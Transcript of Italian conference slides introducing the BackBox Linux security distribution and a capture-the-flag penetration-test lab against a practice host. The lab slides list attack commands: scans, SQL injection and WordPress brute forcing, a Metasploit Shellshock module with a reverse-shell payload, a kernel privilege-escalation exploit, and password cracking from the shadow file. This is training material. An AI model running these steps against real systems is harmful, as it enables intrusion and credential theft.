backbox linux: simulazione di un penetration test e ctf
TRANSCRIPT
BackBox LinuxPenetration Test and Security Assessment
RaspiBO - 23 Febbraio 2016
Simulazione di un Penetration Test
Andrea Draghetti
About Me
BackBox Team Member
Over Security Founder
Independent Security Researcher
….
About BackBox
BackBox è una distribuzione Free Open Source nata nel 2010 in Italia ed è concepita per gli appassionati di Sicurezza Informatica!
Permette di effettuare Penetration Testing e Security Assessment.
È basata su Ubuntu, offre oltre 100 Tools dedicati al mondo dell’IT Security, Mobile Analysis, ecc.
Ha un piano di rilascio previsto ogni 4 mesi e compatibile con
ecosistemi a 32 o 64Bit.
Look At The WorldDistroWatch attesta
a BackBox la seconda posizione della sua
categoria. È la 56° distro Linux più scaricata
al mondo.
BackBox 4.5 ha ottenuto oltre
40mila download dal 26 Gennaio 2016
Linux User & Developer - Feb 2016
Screenshot
Follow BackBox
backbox.org
launchpad.net/~backbox
facebook.com/backbox.linux
twitter.com/backboxlinux
Penetration Test
Il penetration test è un processo di valutazione della sicurezza di un sistema o di una rete che simula
l’attacco di un utente malintenzionato. L’analisi viene condotta sfruttando l’intelletto umano e software
dedicati, ed ha come obiettivo quello di evidenziare le debolezze del sistema fornendo il maggior numero di informazioni sulle vulnerabilità che hanno permesso
l’accesso non autorizzato.
Simulazione di un Penetration Test
I. Information Gathering II. Vulnerability Assessment III. Exploitation IV. Privilege Escalation V. Maintaining Access VI. Reporting.
Documento completo sulla simulazione di un Penetration Test
http://www.isticom.it/documenti/rivista/rivista2013/2013_12_129-134_simulazione_penetration_test.pdf
Standard, in fase di definizione, degli elementi fondamentali di un PenTest
http://www.pentest-standard.org
Lab: Capture the Flag
Capture the Flag, letteralmente “cattura la bandiera”, è una modalità di simulazione del Penetration Testing per allenarsi e
migliorare le proprie abilità.
vulnhub.com contiene un importante archivio di macchine virtuali preparate per effettuare penetration testing in locale.
ctftime.org raggruppa i principali eventi di CTF mondiali e i punteggi dei partecipanti.
seeweb.it annualmente organizza una sfida di Hacking con importanti premi in palio.
Lab
BackBox Linux
Target: hackme.site
Flag: /root/flag.txt
Lab: Information Gathering
BackBox Linux
• Porte • 22 SSH • 80 Apache
• Web • /phpmyadmin • /wp • /panel • /info • /cgi-bin
• dirs3arch -u http://hackme.site -e php • nmap -A -v hackme.site • nmap -sn 192.168.x.1-254
Target: hackme.site
Lab: Vulnerability Assessment
BackBox Linux
• Porte • 22 SSH • 80 Apache
• Web • /phpmyadmin • /wp • /panel • /info • /cgi-bin
• Panel • SQL Injection
Target: hackme.site
• sqlmap -u http://hackme.site/panel --form • dirs3arch -u http://hackme.site -e php • nmap -A -v hackme.site • nmap -sn 192.168.x.1-254
Lab: Vulnerability Assessment
BackBox Linux
Target: hackme.site
• Porte • 22 SSH • 80 Apache
• Web • /phpmyadmin • /wp • /panel • /info • /cgi-bin
• Panel • SQL Injection
• Wordpress • XSS Vulnerability • No Brute force protection
• wpscan -u http://hackme.site/wp --wordlist psw.txt --username admin
• wpscan -u http://hackme.site/wp -e u • wpscan -u http://hackme.site/wp -e p • sqlmap -u http://hackme.site/panel --form • dirs3arch -u http://hackme.site -e php • nmap -A -v hackme.site • nmap -sn 192.168.x.1-254
Lab: Exploitation
BackBox Linux
Target: hackme.site
• Porte • 22 SSH • 80 Apache
• Web • /phpmyadmin • /wp • /panel • /info • /cgi-bin
• Panel • SQL Injection
• Wordpress • XSS Vulnerability • No Brute force protection
• CGI • Shellshock Vulnerability
• shell and more… • exploit • set options … • set PAYLOAD linux/x86/meterpreter/
reverse_tcp • use exploit/multi/http/
apache_mod_cgi_bash_env_exec • msfconsole • wpscan -u http://hackme.site/wp
--wordlist psw.txt --username admin • wpscan -u http://hackme.site/wp -e u • wpscan -u http://hackme.site/wp -e p • sqlmap -u http://hackme.site/panel --form • dirs3arch -u http://hackme.site -e php • nmap -A -v hackme.site • nmap -sn 192.168.x.1-254
Lab: Privilege Escalation
BackBox Linux
Target: hackme.site
• Porte • 22 SSH • 80 Apache
• Web • /phpmyadmin • /wp • /panel • /info • /cgi-bin
• Panel • SQL Injection
• Wordpress • XSS Vulnerability • No Brute force protection
• CGI • Shellshock Vulnerability
• Shell • Kernel Privilege Escalation
• extra: john pass • extra: unshadow passwd shadow > pass • cat /root/flag.txt • ./exploit • gcc 18411.c -o exploit • shell and more… • exploit • set options … • set PAYLOAD linux/x86/meterpreter/
reverse_tcp • use exploit/multi/http/
apache_mod_cgi_bash_env_exec • msfconsole • wpscan -u http://hackme.site/wp
--wordlist psw.txt --username admin • wpscan -u http://hackme.site/wp -e u • wpscan -u http://hackme.site/wp -e p • sqlmap -u http://hackme.site/panel --form • dirs3arch -u http://hackme.site -e php • nmap -A -v hackme.site • nmap -sn 192.168.x.1-254
Lab
BackBox Linux
Target: hackme.site
Happy Hacking!
